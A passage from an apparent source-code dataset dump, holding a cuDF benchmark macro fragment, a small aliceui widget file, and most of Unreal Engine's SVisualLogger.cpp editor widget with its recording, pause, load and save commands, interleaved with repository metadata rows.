benchmark_define(Ulong##_##compression, uint64_t, compression); \
benchmark_define(Float##_##compression, float, compression); \
benchmark_define(Double##_##compression, double, compression); \
benchmark_define(String##_##compression, std::string, compression); \
benchmark_define(Timestamp_days##_##compression, cudf::timestamp_D, compression); \
benchmark_define(Timestamp_sec##_##compression, cudf::timestamp_s, compression); \
benchmark_define(Timestamp_ms##_##compression, cudf::timestamp_ms, compression); \
benchmark_define(Timestamp_us##_##compression, cudf::timestamp_us, compression); \
benchmark_define(Timestamp_ns##_##compression, cudf::timestamp_ns, compression);
// sample benchmark define macro that can be passed to the macro above
#define SAMPLE_BENCHMARK_DEFINE(name, datatype, compression) \
BENCHMARK_TEMPLATE_DEFINE_F(SampleFixture, name, datatype) \
(::benchmark::State & state) { SampleBenchFunction<datatype>(state); } \
BENCHMARK_REGISTER_F(SampleFixture, name) \
->Args({data_size, 64, compression}) \
->Unit(benchmark::kMillisecond) \
->UseManualTime();
// sample CUIO_BENCH_ALL_TYPES use
// CUIO_BENCH_ALL_TYPES(SAMPLE_BENCHMARK_DEFINE, USE_SNAPPY)
| 55.2 | 85 | 0.666667 | isVoid |
4e9c112aba70b599d6ee437faa0806448ec9c100 | 251 | cpp | C++ | src/MIT_alice/MAUIUniversalWidget.cpp | midasitdev/aliceui | 3693018021892bcccbc66f29b931d9736db6f9dc | [
"MIT"
] | 10 | 2019-02-21T13:07:06.000Z | 2019-09-21T02:56:37.000Z | src/MIT_alice/MAUIUniversalWidget.cpp | midasitdev/aliceui | 3693018021892bcccbc66f29b931d9736db6f9dc | [
"MIT"
] | 5 | 2019-02-28T03:11:50.000Z | 2019-03-08T00:16:17.000Z | src/MIT_alice/MAUIUniversalWidget.cpp | midasitdev/aliceui | 3693018021892bcccbc66f29b931d9736db6f9dc | [
"MIT"
] | 5 | 2019-02-25T00:53:08.000Z | 2019-07-05T01:50:34.000Z | #include "stdafx.h"
#include "MAUIUniversalWidget.h"
using namespace mit::alice;
MRUNTIME_IMPL_KINDOF( MAUIUniversalWidget, MAUILinearLayoutWidget );
MAUIUniversalWidget::MAUIUniversalWidget()
{
}
MAUIUniversalWidget::~MAUIUniversalWidget()
{
}
| 14.764706 | 68 | 0.796813 | midasitdev |
4ea1e388b435829354c388be3a3d2c03312009e1 | 38,412 | cpp | C++ | Engine/Source/Developer/LogVisualizer/Private/SVisualLogger.cpp | windystrife/UnrealEngine_NVIDIAGameWork | b50e6338a7c5b26374d66306ebc7807541ff815e | [
"MIT"
] | 1 | 2022-01-29T18:36:12.000Z | 2022-01-29T18:36:12.000Z | Engine/Source/Developer/LogVisualizer/Private/SVisualLogger.cpp | windystrife/UnrealEngine_NVIDIAGameWork | b50e6338a7c5b26374d66306ebc7807541ff815e | [
"MIT"
] | null | null | null | Engine/Source/Developer/LogVisualizer/Private/SVisualLogger.cpp | windystrife/UnrealEngine_NVIDIAGameWork | b50e6338a7c5b26374d66306ebc7807541ff815e | [
"MIT"
] | null | null | null | // Copyright 1998-2017 Epic Games, Inc. All Rights Reserved.
#include "SVisualLogger.h"
#include "Framework/MultiBox/MultiBoxBuilder.h"
#include "HAL/FileManager.h"
#include "Misc/CommandLine.h"
#include "Modules/ModuleManager.h"
#include "Async/Future.h"
#include "Async/Async.h"
#include "EngineGlobals.h"
#include "Debug/DebugDrawService.h"
#include "AI/Navigation/NavigationSystem.h"
#include "Engine/Engine.h"
#include "EngineUtils.h"
#include "VisualLogger/VisualLogger.h"
#include "LogVisualizerSettings.h"
#include "LogVisualizerSessionSettings.h"
#include "VisualLoggerDatabase.h"
#include "LogVisualizerStyle.h"
#include "VisualLoggerCommands.h"
#include "Widgets/Docking/SDockTab.h"
#include "LogVisualizerPrivate.h"
#include "SVisualLoggerToolbar.h"
#include "SVisualLoggerFilters.h"
#include "SVisualLoggerView.h"
#include "SVisualLoggerLogsList.h"
#include "SVisualLoggerStatusView.h"
#include "VisualLoggerTimeSliderController.h"
#include "VisualLoggerRenderingActor.h"
#include "VisualLoggerCanvasRenderer.h"
#include "DesktopPlatformModule.h"
#include "VisualLoggerCameraController.h"
#include "Framework/Application/SlateApplication.h"
#if WITH_EDITOR
#include "Editor/EditorEngine.h"
#include "Editor.h"
#endif
#include "ISettingsModule.h"
#include "VisualLogger/VisualLoggerBinaryFileDevice.h"
#define LOCTEXT_NAMESPACE "SVisualLogger"
DEFINE_LOG_CATEGORY_STATIC(LogVisualLogger, Log, All);
/* Local constants
*****************************************************************************/
static const FName ToolbarTabId("Toolbar");
static const FName FiltersTabId("Filters");
static const FName MainViewTabId("MainView");
static const FName LogsListTabId("LogsList");
static const FName StatusViewTabId("StatusView");
namespace LogVisualizer
{
static const FString LogFileDescription = LOCTEXT("FileTypeDescription", "Visual Log File").ToString();
static const FString LoadFileTypes = FString::Printf(TEXT("%s (*.bvlog;*.%s)|*.bvlog;*.%s"), *LogFileDescription, VISLOG_FILENAME_EXT, VISLOG_FILENAME_EXT);
static const FString SaveFileTypes = FString::Printf(TEXT("%s (*.%s)|*.%s"), *LogFileDescription, VISLOG_FILENAME_EXT, VISLOG_FILENAME_EXT);
}
DECLARE_DELEGATE_TwoParams(FOnWorldChanged, UWorld*, UWorld*);
/* SMessagingDebugger constructors
*****************************************************************************/
namespace
{
static UWorld* GetWorldForGivenObject(const UObject* Object)
{
UWorld* World = GEngine->GetWorldFromContextObject(Object, EGetWorldErrorMode::ReturnNull);
#if WITH_EDITOR
UEditorEngine* EEngine = Cast<UEditorEngine>(GEngine);
if (GIsEditor && EEngine != nullptr && World == nullptr)
{
// lets use PlayWorld during PIE/Simulate and regular world from editor otherwise, to draw debug information
World = EEngine->PlayWorld != nullptr ? EEngine->PlayWorld : EEngine->GetEditorWorldContext().World();
}
#endif
if (!GIsEditor && World == nullptr)
{
World = GEngine->GetWorld();
}
return World;
}
}
SVisualLogger::SVisualLogger()
: SCompoundWidget(), CommandList(MakeShareable(new FUICommandList))
{
bPausedLogger = false;
bGotHistogramData = false;
class FVisualLoggerDevice : public FVisualLogDevice
{
public:
FVisualLoggerDevice(SVisualLogger* InVisualLogger, FOnWorldChanged OnWorldChangedDelegate) : VisualLoggerWidget(InVisualLogger), LastUsedWorld(nullptr), OnWorldChanged(OnWorldChangedDelegate) {}
virtual ~FVisualLoggerDevice(){}
virtual void Serialize(const UObject* LogOwner, FName OwnerName, FName OwnerClassName, const FVisualLogEntry& LogEntry) override
{
VisualLoggerWidget->OnNewLogEntry(FVisualLogDevice::FVisualLogEntryItem(OwnerName, OwnerClassName, LogEntry));
UWorld* CurrentWorld = nullptr;
if (FVisualLogger::Get().GetObjectToWorldMap().Contains(LogOwner))
{
CurrentWorld = const_cast<UWorld*>(FVisualLogger::Get().GetObjectToWorldMap()[LogOwner].Get());
}
if (LastUsedWorld != CurrentWorld && CurrentWorld != nullptr)
{
OnWorldChanged.ExecuteIfBound(LastUsedWorld, CurrentWorld);
LastUsedWorld = CurrentWorld;
}
}
SVisualLogger* VisualLoggerWidget;
UWorld* LastUsedWorld;
FOnWorldChanged OnWorldChanged;
};
InternalDevice = MakeShareable(new FVisualLoggerDevice(this, FOnWorldChanged::CreateLambda([this](UWorld* PreviousWorld, UWorld* CurrentWorld){ OnNewWorld(CurrentWorld); })));
FVisualLogger::Get().AddDevice(InternalDevice.Get());
}
SVisualLogger::~SVisualLogger()
{
GEngine->OnWorldAdded().RemoveAll(this);
FVisualLogger::Get().RemoveDevice(InternalDevice.Get());
InternalDevice.Reset();
UWorld* World = NULL;
#if WITH_EDITOR
ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>()->SavePresistentData();
#endif
if (LastUsedWorld.IsValid())
{
for (TActorIterator<AVisualLoggerRenderingActor> It(LastUsedWorld.Get()); It; ++It)
{
LastUsedWorld->DestroyActor(*It);
}
}
UDebugDrawService::Unregister(DrawOnCanvasDelegateHandle);
VisualLoggerCanvasRenderer.Reset();
FVisualLoggerDatabase::Get().GetEvents().OnRowSelectionChanged.RemoveAll(this);
FVisualLoggerDatabase::Get().GetEvents().OnNewItem.RemoveAll(this);
FVisualLoggerDatabase::Get().GetEvents().OnItemSelectionChanged.RemoveAll(this);
FLogVisualizer::Get().GetEvents().OnFiltersChanged.RemoveAll(this);
FLogVisualizer::Get().GetEvents().OnLogLineSelectionChanged.Unbind();
FLogVisualizer::Get().GetEvents().OnKeyboardEvent.Unbind();
FVisualLoggerDatabase::Get().Reset();
}
/* SMessagingDebugger interface
*****************************************************************************/
void SVisualLogger::Construct(const FArguments& InArgs, const TSharedRef<SDockTab>& ConstructUnderMajorTab, const TSharedPtr<SWindow>& ConstructUnderWindow)
{
bPausedLogger = false;
bGotHistogramData = false;
FLogVisualizer::Get().SetCurrentVisualizer(SharedThis(this));
//////////////////////////////////////////////////////////////////////////
// Visual Logger Events
FLogVisualizer::Get().GetEvents().OnFiltersChanged.AddRaw(this, &SVisualLogger::OnFiltersChanged);
FLogVisualizer::Get().GetEvents().OnLogLineSelectionChanged = FOnLogLineSelectionChanged::CreateRaw(this, &SVisualLogger::OnLogLineSelectionChanged);
FLogVisualizer::Get().GetEvents().OnKeyboardEvent = FOnKeyboardEvent::CreateRaw(this, &SVisualLogger::OnKeyboaedRedirection);
FLogVisualizer::Get().GetTimeSliderController().Get()->GetTimeSliderArgs().OnScrubPositionChanged = FOnScrubPositionChanged::CreateRaw(this, &SVisualLogger::OnScrubPositionChanged);
FVisualLoggerDatabase::Get().GetEvents().OnRowSelectionChanged.AddRaw(this, &SVisualLogger::OnObjectSelectionChanged);
FVisualLoggerDatabase::Get().GetEvents().OnNewItem.AddRaw(this, &SVisualLogger::OnNewItemHandler);
FVisualLoggerDatabase::Get().GetEvents().OnItemSelectionChanged.AddRaw(this, &SVisualLogger::OnItemsSelectionChanged);
GEngine->OnWorldAdded().AddRaw(this, &SVisualLogger::OnNewWorld);
//////////////////////////////////////////////////////////////////////////
// Command Action Lists
const FVisualLoggerCommands& Commands = FVisualLoggerCommands::Get();
FUICommandList& ActionList = *CommandList;
ULogVisualizerSettings* Settings = ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>();
Settings->LoadPresistentData();
ActionList.MapAction(Commands.StartRecording, FExecuteAction::CreateRaw(this, &SVisualLogger::HandleStartRecordingCommandExecute), FCanExecuteAction::CreateRaw(this, &SVisualLogger::HandleStartRecordingCommandCanExecute), FIsActionChecked(), FIsActionButtonVisible::CreateRaw(this, &SVisualLogger::HandleStartRecordingCommandIsVisible));
ActionList.MapAction(Commands.StopRecording, FExecuteAction::CreateRaw(this, &SVisualLogger::HandleStopRecordingCommandExecute), FCanExecuteAction::CreateRaw(this, &SVisualLogger::HandleStopRecordingCommandCanExecute), FIsActionChecked(), FIsActionButtonVisible::CreateRaw(this, &SVisualLogger::HandleStopRecordingCommandIsVisible));
ActionList.MapAction(Commands.Pause, FExecuteAction::CreateRaw(this, &SVisualLogger::HandlePauseCommandExecute), FCanExecuteAction::CreateRaw(this, &SVisualLogger::HandlePauseCommandCanExecute), FIsActionChecked(), FIsActionButtonVisible::CreateRaw(this, &SVisualLogger::HandlePauseCommandIsVisible));
ActionList.MapAction(Commands.Resume, FExecuteAction::CreateRaw(this, &SVisualLogger::HandleResumeCommandExecute), FCanExecuteAction::CreateRaw(this, &SVisualLogger::HandleResumeCommandCanExecute), FIsActionChecked(), FIsActionButtonVisible::CreateRaw(this, &SVisualLogger::HandleResumeCommandIsVisible));
ActionList.MapAction(Commands.LoadFromVLog, FExecuteAction::CreateRaw(this, &SVisualLogger::HandleLoadCommandExecute), FCanExecuteAction::CreateRaw(this, &SVisualLogger::HandleLoadCommandCanExecute), FIsActionChecked(), FIsActionButtonVisible::CreateRaw(this, &SVisualLogger::HandleLoadCommandCanExecute));
ActionList.MapAction(Commands.SaveToVLog, FExecuteAction::CreateRaw(this, &SVisualLogger::HandleSaveCommandExecute), FCanExecuteAction::CreateRaw(this, &SVisualLogger::HandleSaveCommandCanExecute), FIsActionChecked(), FIsActionButtonVisible::CreateRaw(this, &SVisualLogger::HandleSaveCommandCanExecute));
ActionList.MapAction(Commands.SaveAllToVLog, FExecuteAction::CreateRaw(this, &SVisualLogger::HandleSaveAllCommandExecute), FCanExecuteAction::CreateRaw(this, &SVisualLogger::HandleSaveCommandCanExecute), FIsActionChecked(), FIsActionButtonVisible::CreateRaw(this, &SVisualLogger::HandleSaveCommandCanExecute));
ActionList.MapAction(Commands.FreeCamera,
FExecuteAction::CreateRaw(this, &SVisualLogger::HandleCameraCommandExecute),
FCanExecuteAction::CreateRaw(this, &SVisualLogger::HandleCameraCommandCanExecute),
FIsActionChecked::CreateRaw(this, &SVisualLogger::HandleCameraCommandIsChecked),
FIsActionButtonVisible::CreateRaw(this, &SVisualLogger::HandleCameraCommandCanExecute));
ActionList.MapAction(Commands.ToggleGraphs,
FExecuteAction::CreateLambda([](){bool& bEnableGraphsVisualization = ULogVisualizerSessionSettings::StaticClass()->GetDefaultObject<ULogVisualizerSessionSettings>()->bEnableGraphsVisualization; bEnableGraphsVisualization = !bEnableGraphsVisualization; }),
FCanExecuteAction::CreateLambda([this]()->bool{return FVisualLoggerGraphsDatabase::Get().ContainsHistogramGraphs(); }),
FIsActionChecked::CreateLambda([]()->bool{return ULogVisualizerSessionSettings::StaticClass()->GetDefaultObject<ULogVisualizerSessionSettings>()->bEnableGraphsVisualization; }),
FIsActionButtonVisible::CreateLambda([this]()->bool{return FVisualLoggerGraphsDatabase::Get().ContainsHistogramGraphs(); }));
ActionList.MapAction(Commands.ResetData,
FExecuteAction::CreateRaw(this, &SVisualLogger::ResetData),
FCanExecuteAction::CreateRaw(this, &SVisualLogger::HandleSaveCommandCanExecute),
FIsActionChecked(),
FIsActionButtonVisible::CreateRaw(this, &SVisualLogger::HandleSaveCommandCanExecute));
// Tab Spawners
TabManager = FGlobalTabmanager::Get()->NewTabManager(ConstructUnderMajorTab);
TSharedRef<FWorkspaceItem> AppMenuGroup = TabManager->AddLocalWorkspaceMenuCategory(LOCTEXT("VisualLoggerGroupName", "Visual Logger"));
TabManager->RegisterTabSpawner(ToolbarTabId, FOnSpawnTab::CreateRaw(this, &SVisualLogger::HandleTabManagerSpawnTab, ToolbarTabId))
.SetDisplayName(LOCTEXT("ToolbarTabTitle", "Toolbar"))
.SetGroup(AppMenuGroup)
.SetIcon(FSlateIcon(FLogVisualizerStyle::Get().GetStyleSetName(), "ToolbarTabIcon"));
TabManager->RegisterTabSpawner(FiltersTabId, FOnSpawnTab::CreateRaw(this, &SVisualLogger::HandleTabManagerSpawnTab, FiltersTabId))
.SetDisplayName(LOCTEXT("FiltersTabTitle", "Filters"))
.SetGroup(AppMenuGroup)
.SetIcon(FSlateIcon(FLogVisualizerStyle::Get().GetStyleSetName(), "FiltersTabIcon"));
TabManager->RegisterTabSpawner(MainViewTabId, FOnSpawnTab::CreateRaw(this, &SVisualLogger::HandleTabManagerSpawnTab, MainViewTabId))
.SetDisplayName(LOCTEXT("MainViewTabTitle", "MainView"))
.SetGroup(AppMenuGroup)
.SetIcon(FSlateIcon(FLogVisualizerStyle::Get().GetStyleSetName(), "MainViewTabIcon"));
TabManager->RegisterTabSpawner(LogsListTabId, FOnSpawnTab::CreateRaw(this, &SVisualLogger::HandleTabManagerSpawnTab, LogsListTabId))
.SetDisplayName(LOCTEXT("LogsListTabTitle", "LogsList"))
.SetGroup(AppMenuGroup)
.SetIcon(FSlateIcon(FLogVisualizerStyle::Get().GetStyleSetName(), "LogsListTabIcon"));
TabManager->RegisterTabSpawner(StatusViewTabId, FOnSpawnTab::CreateRaw(this, &SVisualLogger::HandleTabManagerSpawnTab, StatusViewTabId))
.SetDisplayName(LOCTEXT("StatusViewTabTitle", "StatusView"))
.SetGroup(AppMenuGroup)
.SetIcon(FSlateIcon(FLogVisualizerStyle::Get().GetStyleSetName(), "StatusViewTabIcon"));
// Default Layout
const TSharedRef<FTabManager::FLayout> Layout = FTabManager::NewLayout("VisualLoggerLayout_v1.0")
->AddArea
(
FTabManager::NewPrimaryArea()
->SetOrientation(Orient_Vertical)
->Split
(
FTabManager::NewStack()
->AddTab(ToolbarTabId, ETabState::OpenedTab)
->SetHideTabWell(true)
)
->Split
(
FTabManager::NewStack()
->AddTab(FiltersTabId, ETabState::OpenedTab)
->SetHideTabWell(true)
)
->Split
(
FTabManager::NewStack()
->AddTab(MainViewTabId, ETabState::OpenedTab)
->SetHideTabWell(true)
)
->Split
(
FTabManager::NewSplitter()
->SetOrientation(Orient_Horizontal)
->SetSizeCoefficient(0.6f)
->Split
(
FTabManager::NewStack()
->AddTab(StatusViewTabId, ETabState::OpenedTab)
->SetHideTabWell(true)
->SetSizeCoefficient(0.3f)
)
->Split
(
FTabManager::NewStack()
->AddTab(LogsListTabId, ETabState::OpenedTab)
->SetHideTabWell(true)
->SetSizeCoefficient(0.7f)
)
)
);
TabManager->SetOnPersistLayout(FTabManager::FOnPersistLayout::CreateRaw(this, &SVisualLogger::HandleTabManagerPersistLayout));
// Window Menu
FMenuBarBuilder MenuBarBuilder = FMenuBarBuilder(TSharedPtr<FUICommandList>());
MenuBarBuilder.AddPullDownMenu(
LOCTEXT("WindowMenuLabel", "Window"),
FText::GetEmpty(),
FNewMenuDelegate::CreateStatic(&SVisualLogger::FillWindowMenu, TabManager),
"Window"
);
MenuBarBuilder.AddMenuEntry(
LOCTEXT("SettingsMenuLabel", "Settings"),
FText::GetEmpty(),
FSlateIcon(),
FUIAction(
FExecuteAction::CreateLambda(
[this](){
ISettingsModule* SettingsModule = FModuleManager::GetModulePtr<ISettingsModule>("Settings");
if (SettingsModule != nullptr)
{
SettingsModule->ShowViewer("Editor", "General", "VisualLogger");
}
}
)),
"Settings"
);
ChildSlot
[
SNew(SVerticalBox)
+ SVerticalBox::Slot()
.AutoHeight()
[
MenuBarBuilder.MakeWidget()
]
+ SVerticalBox::Slot()
.FillHeight(1.0f)
[
TabManager->RestoreFrom(Layout, ConstructUnderWindow).ToSharedRef()
]
];
VisualLoggerCanvasRenderer = MakeShareable(new FVisualLoggerCanvasRenderer());
DrawOnCanvasDelegateHandle = UDebugDrawService::Register(TEXT("VisLog"), FDebugDrawDelegate::CreateRaw(VisualLoggerCanvasRenderer.Get(), &FVisualLoggerCanvasRenderer::DrawOnCanvas));
Cast<AVisualLoggerRenderingActor>(FVisualLoggerEditorInterface::Get()->GetHelperActor(LastUsedWorld.Get()));
}
void SVisualLogger::OnNewLogEntry(const FVisualLogDevice::FVisualLogEntryItem& Entry)
{
if (bPausedLogger)
{
OnPauseCacheForEntries.Add(Entry);
return;
}
FVisualLoggerDatabase::Get().AddItem(Entry);
if (ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>()->bStickToRecentData)
{
FLogVisualizer::Get().GetTimeSliderController()->CommitScrubPosition(Entry.Entry.TimeStamp, false);
}
}
void SVisualLogger::HandleMajorTabPersistVisualState()
{
// save any settings here
}
void SVisualLogger::HandleTabManagerPersistLayout(const TSharedRef<FTabManager::FLayout>& LayoutToSave)
{
// save any layout here
}
void SVisualLogger::FillWindowMenu(FMenuBuilder& MenuBuilder, const TSharedPtr<FTabManager> TabManager)
{
if (!TabManager.IsValid())
{
return;
}
TabManager->PopulateLocalTabSpawnerMenu(MenuBuilder);
}
TSharedRef<SDockTab> SVisualLogger::HandleTabManagerSpawnTab(const FSpawnTabArgs& Args, FName TabIdentifier) const
{
TSharedPtr<SWidget> TabWidget = SNullWidget::NullWidget;
bool AutoSizeTab = false;
if (TabIdentifier == ToolbarTabId)
{
TabWidget = SNew(SVisualLoggerToolbar, CommandList);
AutoSizeTab = true;
}
else if (TabIdentifier == FiltersTabId)
{
TabWidget = SAssignNew(VisualLoggerFilters, SVisualLoggerFilters, CommandList);
AutoSizeTab = true;
}
else if (TabIdentifier == MainViewTabId)
{
TabWidget = SAssignNew(MainView, SVisualLoggerView, CommandList).OnFiltersSearchChanged(this, &SVisualLogger::OnFiltersSearchChanged);
AutoSizeTab = false;
}
else if (TabIdentifier == LogsListTabId)
{
TabWidget = SAssignNew(LogsList, SVisualLoggerLogsList, CommandList);
AutoSizeTab = false;
}
else if (TabIdentifier == StatusViewTabId)
{
TabWidget = SAssignNew(StatusView, SVisualLoggerStatusView, CommandList);
AutoSizeTab = false;
}
check(TabWidget.IsValid());
return SNew(SVisualLoggerTab)
.ShouldAutosize(AutoSizeTab)
.TabRole(ETabRole::DocumentTab)
[
TabWidget.ToSharedRef()
];
}
bool SVisualLogger::HandleStartRecordingCommandCanExecute() const
{
return !FVisualLogger::Get().IsRecording();
}
void SVisualLogger::HandleStartRecordingCommandExecute()
{
FVisualLogger::Get().SetIsRecording(true);
}
bool SVisualLogger::HandleStartRecordingCommandIsVisible() const
{
return !FVisualLogger::Get().IsRecording();
}
bool SVisualLogger::HandleStopRecordingCommandCanExecute() const
{
return FVisualLogger::Get().IsRecording();
}
void SVisualLogger::HandleStopRecordingCommandExecute()
{
UWorld* World = FLogVisualizer::Get().GetWorld();
if (FParse::Param(FCommandLine::Get(), TEXT("LogNavOctree")) == true && ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>()->bLogNavOctreeOnStop)
{
FVisualLogger::NavigationDataDump(World, LogNavigation, ELogVerbosity::Log, FBox());
}
FVisualLogger::Get().SetIsRecording(false);
if (AVisualLoggerCameraController::IsEnabled(World))
{
AVisualLoggerCameraController::DisableCamera(World);
}
if (bPausedLogger)
{
HandleResumeCommandExecute();
}
}
bool SVisualLogger::HandleStopRecordingCommandIsVisible() const
{
return FVisualLogger::Get().IsRecording();
}
bool SVisualLogger::HandlePauseCommandCanExecute() const
{
return !bPausedLogger;
}
void SVisualLogger::HandlePauseCommandExecute()
{
if (ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>()->bUsePlayersOnlyForPause)
{
const TIndirectArray<FWorldContext>& WorldContexts = GEngine->GetWorldContexts();
for (const FWorldContext& Context : WorldContexts)
{
if (Context.World() != nullptr)
{
Context.World()->bPlayersOnlyPending = true;
}
}
}
bPausedLogger = true;
}
bool SVisualLogger::HandlePauseCommandIsVisible() const
{
return HandlePauseCommandCanExecute();
}
bool SVisualLogger::HandleResumeCommandCanExecute() const
{
return bPausedLogger;
}
void SVisualLogger::HandleResumeCommandExecute()
{
if (ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>()->bUsePlayersOnlyForPause)
{
const TIndirectArray<FWorldContext>& WorldContexts = GEngine->GetWorldContexts();
for (const FWorldContext& Context : WorldContexts)
{
if (Context.World() != nullptr)
{
Context.World()->bPlayersOnly = false;
Context.World()->bPlayersOnlyPending = false;
}
}
}
bPausedLogger = false;
for (const auto& CurrentEntry : OnPauseCacheForEntries)
{
OnNewLogEntry(CurrentEntry);
}
OnPauseCacheForEntries.Reset();
}
bool SVisualLogger::HandleResumeCommandIsVisible() const
{
return HandleResumeCommandCanExecute();
}
bool SVisualLogger::HandleCameraCommandIsChecked() const
{
UWorld* World = FLogVisualizer::Get().GetWorld();
return World && AVisualLoggerCameraController::IsEnabled(World);
}
bool SVisualLogger::HandleCameraCommandCanExecute() const
{
UWorld* World = FLogVisualizer::Get().GetWorld();
return FVisualLogger::Get().IsRecording() && World && (World->bPlayersOnly || World->bPlayersOnlyPending) && World->IsPlayInEditor() && (GEditor && !GEditor->bIsSimulatingInEditor);
}
void SVisualLogger::HandleCameraCommandExecute()
{
UWorld* World = FLogVisualizer::Get().GetWorld();
if (AVisualLoggerCameraController::IsEnabled(World))
{
AVisualLoggerCameraController::DisableCamera(World);
}
else
{
// switch debug cam on
CameraController = AVisualLoggerCameraController::EnableCamera(World);
}
}
bool SVisualLogger::HandleLoadCommandCanExecute() const
{
return true;
}
void SVisualLogger::HandleLoadCommandExecute()
{
FArchive Ar;
TArray<FVisualLogDevice::FVisualLogEntryItem> RecordedLogs;
TArray<FString> OpenFilenames;
IDesktopPlatform* DesktopPlatform = FDesktopPlatformModule::Get();
bool bOpened = false;
if (DesktopPlatform)
{
const FString DefaultBrowsePath = FString::Printf(TEXT("%slogs/"), *FPaths::ProjectSavedDir());
bOpened = DesktopPlatform->OpenFileDialog(
FSlateApplication::Get().FindBestParentWindowHandleForDialogs(AsShared()),
LOCTEXT("OpenProjectBrowseTitle", "Open Project").ToString(),
DefaultBrowsePath,
TEXT(""),
LogVisualizer::LoadFileTypes,
EFileDialogFlags::None,
OpenFilenames
);
}
if (bOpened && OpenFilenames.Num() > 0)
{
OnNewWorld(GetWorldForGivenObject(nullptr));
for (int FilenameIndex = 0; FilenameIndex < OpenFilenames.Num(); ++FilenameIndex)
{
FString CurrentFileName = OpenFilenames[FilenameIndex];
const bool bIsBinaryFile = CurrentFileName.Find(TEXT(".bvlog")) != INDEX_NONE;
if (bIsBinaryFile)
{
FArchive* FileAr = IFileManager::Get().CreateFileReader(*CurrentFileName);
FVisualLoggerHelpers::Serialize(*FileAr, RecordedLogs);
FileAr->Close();
delete FileAr;
FileAr = NULL;
for (FVisualLogDevice::FVisualLogEntryItem& CurrentItem : RecordedLogs)
{
OnNewLogEntry(CurrentItem);
}
}
}
}
}
bool SVisualLogger::HandleSaveCommandCanExecute() const
{
return FVisualLoggerDatabase::Get().NumberOfRows() > 0;
}
void SVisualLogger::HandleSaveAllCommandExecute()
{
HandleSaveCommand(true);
}
void SVisualLogger::HandleSaveCommandExecute()
{
HandleSaveCommand(false);
}
void SVisualLogger::HandleSaveCommand(bool bSaveAllData)
{
TArray<FName> SelectedRows;
if (!bSaveAllData)
{
SelectedRows = FVisualLoggerDatabase::Get().GetSelectedRows();
}
else
{
for (auto Iter(FVisualLoggerDatabase::Get().GetConstRowIterator()); Iter; ++Iter)
{
SelectedRows.Add((*Iter).GetOwnerName());
}
}
if (SelectedRows.Num())
{
// Prompt the user for the filenames
TArray<FString> SaveFilenames;
IDesktopPlatform* DesktopPlatform = FDesktopPlatformModule::Get();
bool bSaved = false;
if (DesktopPlatform)
{
const FString DefaultBrowsePath = FString::Printf(TEXT("%slogs/"), *FPaths::ProjectSavedDir());
bSaved = DesktopPlatform->SaveFileDialog(
FSlateApplication::Get().FindBestParentWindowHandleForDialogs(AsShared()),
LOCTEXT("NewProjectBrowseTitle", "Choose a project location").ToString(),
DefaultBrowsePath,
TEXT(""),
LogVisualizer::SaveFileTypes,
EFileDialogFlags::None,
SaveFilenames
);
}
if (bSaved)
{
if (SaveFilenames.Num() > 0 && SaveFilenames[0].IsEmpty() == false)
{
TArray<FVisualLogDevice::FVisualLogEntryItem> FrameCache;
for (const FName& CurrentName : SelectedRows)
{
FVisualLoggerDBRow& DataRow = FVisualLoggerDatabase::Get().GetRowByName(CurrentName);
FrameCache.Append(DataRow.GetItems());
}
if (FrameCache.Num())
{
FArchive* FileArchive = IFileManager::Get().CreateFileWriter(*SaveFilenames[0]);
if (ensure(FileArchive))
{
FVisualLoggerHelpers::Serialize(*FileArchive, FrameCache);
FileArchive->Close();
delete FileArchive;
FileArchive = NULL;
}
else
{
UE_LOG(LogVisualLogger, Error, TEXT("Failed to create file \"%s\""), *SaveFilenames[0]);
}
}
}
}
}
}
void SVisualLogger::ResetData()
{
bGotHistogramData = false;
OnPauseCacheForEntries.Reset();
FLogVisualizer::Get().Reset();
FVisualLoggerDatabase::Get().Reset();
FVisualLoggerFilters::Get().Reset();
if (MainView.IsValid())
{
MainView->ResetData();
}
if (VisualLoggerFilters.IsValid() && ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>()->bResetDataWithNewSession)
{
VisualLoggerFilters->ResetData();
}
if (LogsList.IsValid())
{
LogsList->ResetData();
}
if (StatusView.IsValid())
{
StatusView->ResetData();
}
if (VisualLoggerCanvasRenderer.IsValid())
{
VisualLoggerCanvasRenderer->ResetData();
}
if (AVisualLoggerRenderingActor* HelperActor = Cast<AVisualLoggerRenderingActor>(FVisualLoggerEditorInterface::Get()->GetHelperActor(LastUsedWorld.Get())))
{
HelperActor->ResetRendering();
}
const TMap<FName, FVisualLogExtensionInterface*>& AllExtensions = FVisualLogger::Get().GetAllExtensions();
for (auto Iterator = AllExtensions.CreateConstIterator(); Iterator; ++Iterator)
{
FVisualLogExtensionInterface* Extension = (*Iterator).Value;
if (Extension != NULL)
{
Extension->ResetData(FVisualLoggerEditorInterface::Get());
}
}
FLogVisualizer::Get().GetEvents().OnLogLineSelectionChanged = FOnLogLineSelectionChanged::CreateRaw(this, &SVisualLogger::OnLogLineSelectionChanged);
FLogVisualizer::Get().GetEvents().OnKeyboardEvent = FOnKeyboardEvent::CreateRaw(this, &SVisualLogger::OnKeyboaedRedirection);
FLogVisualizer::Get().GetTimeSliderController().Get()->GetTimeSliderArgs().OnScrubPositionChanged = FOnScrubPositionChanged::CreateRaw(this, &SVisualLogger::OnScrubPositionChanged);
}
void SVisualLogger::OnNewWorld(UWorld* NewWorld)
{
if (LastUsedWorld.IsValid() && LastUsedWorld != NewWorld)
{
for (TActorIterator<AVisualLoggerRenderingActor> It(LastUsedWorld.Get()); It; ++It)
{
LastUsedWorld->DestroyActor(*It);
}
}
LastUsedWorld = NewWorld;
AVisualLoggerRenderingActor* HelperActor = Cast<AVisualLoggerRenderingActor>(FVisualLoggerEditorInterface::Get()->GetHelperActor(LastUsedWorld.Get()));
if (ensure(HelperActor))
{
if (LastUsedWorld.IsValid() == false || ULogVisualizerSettings::StaticClass()->GetDefaultObject<ULogVisualizerSettings>()->bResetDataWithNewSession)
{
ResetData();
}
// reset data and simulate row/item selection to recreate rendering proxy with correct data
HelperActor->ResetRendering();
const TArray<FName>& SelectedRows = FVisualLoggerDatabase::Get().GetSelectedRows();
HelperActor->ObjectSelectionChanged(SelectedRows);
for (auto& RowName : SelectedRows)
{
